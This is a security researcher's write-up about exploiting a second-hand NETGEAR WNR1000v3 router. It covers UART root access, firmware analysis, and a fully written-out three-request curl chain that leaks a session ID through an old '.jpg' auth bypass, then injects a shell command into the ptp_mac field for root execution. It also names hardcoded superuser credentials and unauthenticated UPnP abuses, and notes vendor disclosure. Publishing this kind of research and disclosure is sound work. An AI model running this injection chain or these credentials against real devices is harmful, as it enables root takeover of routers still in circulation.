TL;DR
A $25 thrift-store NETGEAR WNR1000v3 (firmware V1.0.2.18, the final EOL release). Three unauthenticated HTTP requests. Arbitrary command execution as root. CVSS 3.1: 9.4 Critical.
The chain: a 12-year-old auth bypass (CVE-2013-3316) leaks a valid session ID. The wds.cgi handler stores a MAC parameter without validation into NVRAM. The router status page passes that NVRAM value unsanitized into system() — as root.
Prolog: 25 Euros, a Cardboard Box, a Flashbang
It started unspectacularly: a used WNR1000v3 from a private sale, about 25 euros, built 2010. Perfect research targets — old enough that nobody looks, new enough that they run a Linux userspace stack with a web UI.
What we didn’t know: the most interesting thing happens before any cable goes into the network.

Act I — UART, or: Why You Keep a Soldering Iron Ready
The debug header J3 is documented on the OpenWrt wiki: pin 6 GND, pin 5 TX, pin 2 RX, 3.3V TTL, 115200 8N1. FTDI adapter on, screen up, power on. And then … this:

Terminal output as text
$ od -c uart-first-boot.log
0000000 377 337 377 357 377 377 377
0000007
Seven bytes. That’s the classic signature of „signal present, but something’s wrong“: power, baudrate, or ground. The multimeter run reveals it — a solder bridge between RX and GND, right on the PCB trace next to the header. And because these things never come alone: minutes later the whole board dies, power LED off. The fuse on the 3.3V rail had eaten the short.
Fuse replaced, bridge removed, power on. Now the bus talks:

Terminal output as text
CFE for WNR1000v3 version: 3.0.6
Build Date: Thu Jan 21 22:38:48 CST 2010
Boot partition size = 131072(0x20000)
Found a 4MB ST compatible serial flash
CPU ProcId is: 0x00019749, options: 0x000021cd
Linux version 2.4.20 (zacker@svn) (gcc version 3.2.3 with Broadcom modifications)
#1 Tue Apr 20 15:30:33 CST 2010
CPU: BCM5356 rev 1 at 333 MHz
And a few seconds later, the surprise that defines this firmware era:

Terminal output as text
BUSYBOX v0.60.0 (2010.04.20-07:29+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
root@WNR1000v3:/#

No login, no protection — the serial port is the root access. From here, the device is an open field: full flash dump partition by partition over TFTP, rootfs extracted from Broadcom’s proprietary shsq/LZMA SquashFS variant, NVRAM with 910 variables read.
Two side finds worth mentioning: the NVRAM held the previous owner’s entire access configuration in plaintext — DSL credentials, Wi-Fi password, everything (redacted here on purpose; the factory reset does clear it properly, we measured). And: a hardcoded hidden superuser (Gearguy/Geardog) that survives even an NVRAM wipe.

Act II — Understanding the Web UI
The httpd is a 1.1 MB Broadcom SDK binary, MIPS little-endian, with 451 exported symbol names — a researcher’s dream. Ghidra decompiled 718 functions; a hand-written annotator resolves the typical Broadcom pointer arithmetic and makes the decompiles readable. The result: 96 CGI endpoints, a template engine with numeric placeholders, and a very idiosyncratic session mechanism.
Three observations that pave the way:
1. CGI POSTs need a session ID. Every form is served with action="endpoint.cgi?id=N". Without it: 401/404. With it: the handler runs.
2. Auth check: there’s a known skip. CVE-2013-3316 describes this exact product line (firmware < 1.0.2.60): the server skips authentication for URLs containing ‚.jpg‘. Our firmware is 1.0.2.18:

Terminal output as text
$ curl -s -o /dev/null -w "%{http_code}\n" http://192.168.1.1/WLG_wds.htm
401
$ curl -s -o /dev/null -w "%{http_code}\n" "http://192.168.1.1/WLG_wds.htm?x=.jpg"
200
A twelve-year-old vulnerability, live and in color. And the served page contains not just the WDS configuration, but also:

Terminal output as text
$ curl -s "http://192.168.1.1/WLG_wds.htm?x=.jpg" | grep -oE 'action="[^"]*"'
action="wds.cgi?id=660933050"
A valid session ID, free of charge.
3. NVRAM as a relay. Multiple handlers write form values unvalidated into NVRAM, and other code paths later read these values and push them into shell commands. That’s the pattern that gives us the root run.
Act III — wds.cgi, One Parameter, One system()
Two sibling functions live in the binary, and both build shell commands from an NVRAM value:
/* wds_get_rssi — 0x4729f0 */
sprintf(cmd, "rm -f %s; wl rssi %s > %s", "/tmp/wds_signal", mac);
system(cmd);
/* wds_get_linkrate — 0x472bb0 */
sprintf(cmd, "rm -f %s; wl sta_info %s > %s", "/tmp/wds_rate", mac);
system(cmd);
The mac value comes from wla_wds_ptp_mac in NVRAM. Who writes that? The wds.cgi handler. Validation for the parameter ptp_mac: a check whether the value starts with ":::::". That’s all. isValidMacAddr exists in the bundled libacos_shared.so — it’s just never called here.
The Chain, Request by Request
Step 1 — Bypass, leak session ID (unauthenticated):
$ curl -s "http://192.168.1.1/WLG_wds.htm?x=.jpg" | grep -oE 'wds.cgi\?id=[0-9]+'
wds.cgi?id=660933050
Step 2 — Inject payload (unauthenticated, using the leaked ID):
$ curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://192.168.1.1/wds.cgi?id=660933050&x=.jpg" \
--data-urlencode "wds_enable=1" \
--data-urlencode "wds_mode=1" \
--data-urlencode "ptp_mac=AA:BB:CC:DD:EE:FF;echo UNAUTH-RCE>/tmp/pwned3;" \
--data-urlencode "sysLANIPAddr1=192" --data-urlencode "sysLANIPAddr2=168" \
--data-urlencode "sysLANIPAddr3=1" --data-urlencode "sysLANIPAddr4=1" \
--data-urlencode "apply=Apply"
200
Step 3 — Trigger (unauthenticated, single GET):

Terminal output as text
$ curl -s -o /dev/null -w "%{http_code}" "http://192.168.1.1/RST_status.htm?x=.jpg"
200
# ... and on the device (UART console, uid 0):
# ls -la /tmp/pwned3
-rw-r--r-- 1 0 0 11 Jan 1 00:03 /tmp/pwned3
# cat /tmp/pwned3
UNAUTH-RCE
No exploit magic, no memory corruption. A missing validator, a shell sink, a twelve-year-old door opener — and a vendor who in 2010 thought checksums would be enough.
Additional Findings
- Unauth WPS-Registrar via UPnP (TCP/1780): WFAWLANConfig:1 service fully exposed — GetDeviceInfo returns the WPS M1, SetSelectedRegistrar accepted, RebootAP/ResetAP unauthenticated (not executed).
- Unauth AddPortMapping via UPnP (TCP/5000): WAN port mapping without login (reproduced and reverted).
- LAN IP corruption via malformed wds.cgi POST: bridge address changes to an attacker-influenced value, httpd terminates (availability).
- Update channel integrity: plain checksum only, update server DNS-resolvable (admin-settable).
- Hardcoded superuser: Gearguy/Geardog survives factory reset.
- Board-derived WPS PIN: identical after NVRAM wipe.
Why This Matters Despite EOL
The Broadcom SDK stack of this generation runs in dozens of variants across vendors and model lines. Patterns that fit here — unvalidated NVRAM round-trips, shell sinks in status rendering, auth checks with special cases — are not one-offs, they’re a design era. And the second-hand market keeps devices like this in circulation.
Disclosure
NETGEAR PSIRT was notified on 2026-09-20 with the full technical report (DE+EN advisory, PoC script, chain transcript). Publication of this writeup follows the coordination window or mutual agreement. CVE-2026-XXXXX requested for the wds.cgi command injection; the .jpg auth bypass is CVE-2013-3316 (known, used as access primitive).
Mitigation
EOL device — replace with supported hardware. Interim: change the default password, disable UPnP, never enable WDS, keep remote management off.
Tools: FTDI FT232 · multimeter · soldering iron · Ghidra 11.3.2 · mipsel-binutils · Sasquatch · curl · Python raw sockets · Kalam (for the doodles)
Thanks: OpenWrt community (J3 pinout) · Sasquatch & Ghidra · everyone who ever thought a checksum would be enough.
Enjoy <3
